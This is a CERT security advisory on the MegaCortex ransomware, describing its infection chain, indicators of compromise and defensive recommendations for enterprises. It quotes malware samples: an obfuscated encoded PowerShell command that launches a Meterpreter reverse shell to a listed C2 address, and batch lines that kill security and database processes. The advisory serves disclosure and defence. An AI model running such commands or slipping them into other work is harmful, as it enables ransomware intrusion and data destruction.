Advanced Notification of Cyber Threats against Ransomware Infecting Corporate Networks

aeCERT Computer Emergency Response Team
فريق الاستجابة لطوارئ الحاسب الآلي

Security Advisory	ADV-19-18	**Criticality**	High	
Advisory Released On	12 May 2019			

Impact

Lock devices with high privilege and important data within the enterprise's network and encrypt all data within the infected device until given ransom

Solution

Adhere the advices written under the recommendations section.

Summary

As the leading trusted secure cyber coordination center in the region, aeCERT has researched and found about a critical risk of having enterprises targeted for a ransomware attack called MegaCortex that would end up causing infected devices to be locked from use and have data on those devices encrypted. It would target high privileged devices so that it can be able to cause major damage. The attacker uses a common red-team attack tool script to initiate the meterpeter reverse shell, then the infection chain uses PowerShell scripts, batch files from remote servers and some commands that would cause the malware to drop encrypted secondary executable payloads on specific machines. This Malware ends up employing the use of a long batch file that would terminate running programs and kill a big number of services, specifically services related to security protection.

Details

There seems to be a correlation between MegaCortex attacks and the availability of both Emotet and Qbot malware on the same network; both Qbot and Emotet being trojan-like malwares that deliver even more malware with them. The attack is initiated from a compromised domain controller by using admin credentials, after the attacker would execute PowerShell Script that is very obfuscated.

Below is the command that starts the infection:

```
2 powershell -nop -w hidden -encodedcommand
. JABzADOATgB1AHcALQBPAGIAagB1AGMAdAAgAEkATwAuAEOAZQBtAG8A
. QBCAGEAcwB1ADYANABTAHQAcgBpAG4AZwAoACIASAAOAHMASQBBAEEAQ
. BTAEOAOABZAFoARQBYAFUAYwBuAGMAMABtADIANABnAEkAdgB1AEEAYg
. 4AFIANQAzAHoAegBrADMAdQBaAGUARQBZAEoAZABWAFQAOQBWAFQAWAB
. AEcANQBhAHEARgB3AEoAeABFADEANAByADUAeQAzADMANAB2ADMASgBt
. GYAcgBwAGYAbABhAGUAeABIAHkASQBOAGwAMQBZADkAZwBTAEkASQBaA
. kANwAxAHcAYwB4AFAARQBhADQAdwBzAHoAcwBMAEOAQgB1AGYARQB2AG
. AVgBHAEwARAB3ADkARABTAEQAMwBuAFcAcwBUAHoAMABOAFoAaQBKAFc
. cwBJAGYAUgBJAGOASQA1AEQARQByAEYAQQBNAHMATABmAHUAYwAOAEIA
. wBzAFgASQBaADEAUQAOADEAWAB1AFEALwAyAGsAbQBuADUAKwB6AHMAW
```

After stripping the layers of obfuscation for the command it would reveal a multitude of commands that decodes a blob of base64-encoded data. The blob seems to be a Cobalt Strike script in which it would open a Meterpeter reverse shell within the victim's network, this would allow the attacker to have remote access to the domain controller

The domain controller would push the malware - a copy of PsExec renamed to rstwg.exe. This batch file is a long list of commands that would kill 44 processes, stop commands to 189 different services and switch Startup Type for 194 different services to Disabled. The attacker targets specifically security software and services.

```
1 taskkill /IM zoolz.exe /F
2 taskkill /IM agntsvc.exe /F
3 taskkill /IM dbeng50.exe /F
4 taskkill /IM dbsnmp.exe /F
5 taskkill /IM encsvc.exe /F
6 taskkill /IM excel.exe /F
7 taskkill /IM firefoxconfig.exe /F
8 taskkill /IM infopath.exe /F
9 taskkill /IM isqlplussvc.exe /F
10 taskkill /IM msaccess.exe /F
11 taskkill /IM msftesql.exe /F
12 taskkill /IM mspub.exe /F
13 taskkill /IM mydesktopqos.exe /F
14 taskkill /IM mydesktopservice.exe /F
15 taskkill /IM mysqld.exe /F
16 taskkill /IM mysqld-nt.exe /F
17 taskkill /IM mysqld-opt.exe /F
```

The last command that the batch file would launch is a previously downloaded executable, winnit.exe. The command invokes winnit.exe to drop and execute DLL payload with a randomly-generated alphabetic character filename that is 8 characters in length. This DLL payload initiates the hostile encryption. The attacker would also use other batch files named from 1.bat to 6.bat that would distribute the winnit.exe and trigger the batch file around the infected victim's network. The extension of the encrypted files is .aes128ctr. The most affected types of files include documents, spreadsheets, archives and media files. After all the files have been encrypted it would leave a ransom note with the text file "!!! _ READ_ME _ !!!.txt". MegaCortex uses encryption that is much too advanced for anyone to decrypt. The only way to decrypt them is to use the unique key that was generated for that said encryption code.

IOC

IP address/domains

Meterpreter's reverse shell C2 address

89.105.198.28

Batch script:

37b4496e650b3994312c838435013560b3ca8571

PE EXE:

478dc5a5f934c62a9246f7d1fc275868f568bc07

Secondary DLL memory injector:

2f40abbb4f78e77745f0e657a19903fc953cc664

Recommendations

In order to circumvent ransomware attacks, we highly recommend the following:

- If you are seeing malware alerts for both Emotet and Qbot, these should take a high priority due to the fact that these are distributors to malware and possibly would deploy MegaCortex infections
- Ensure that Remote Desktop programs are not used without the necessary security precaution such as a VPN
- Deploy two-factor authentications throughout the entity to anything that needs a password
- Perform regular backups of your data that has high importance and is current on an offline storage device to avoid ransomware attack.
- There are many anti-malware tools that would help remove the MegaCortex ransomware which include, Reimage, Malwarebytes or Plumbytes Anti-Malware

Disclaimer

Accessing third-party links in this advisory will direct you to an external website. Please note that aeCERT bears no responsibility for third-party website traffic. aeCERT will have no liability to the entities for the content or use of the content available through the hyperlinks that are referenced.

References

Sophos (MegaCortex)
Spyware.com (MegaCortex Uninstall)

Contact Us

aeCERT
P.O. Box 116688
Dubai, United Arab Emirates

Tel (+971) 4 777 4003
Fax (+971) 4 777 4100
Email info[at]aeCERT.ae
Instagram @TheUAETRA
Twitter @TheUAETRA

For secure communications with aeCERT with regards to sensitive or vulnerability information please send your correspondences to aeCERT[at]aeCERT.ae